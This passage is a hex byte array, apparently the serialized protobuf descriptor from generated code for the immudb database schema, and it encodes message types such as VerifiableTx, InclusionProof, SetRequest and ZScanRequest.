0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xa5, 0x01, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xc8, 0x01, 0x0a, 0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0c, 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07, 0x20, 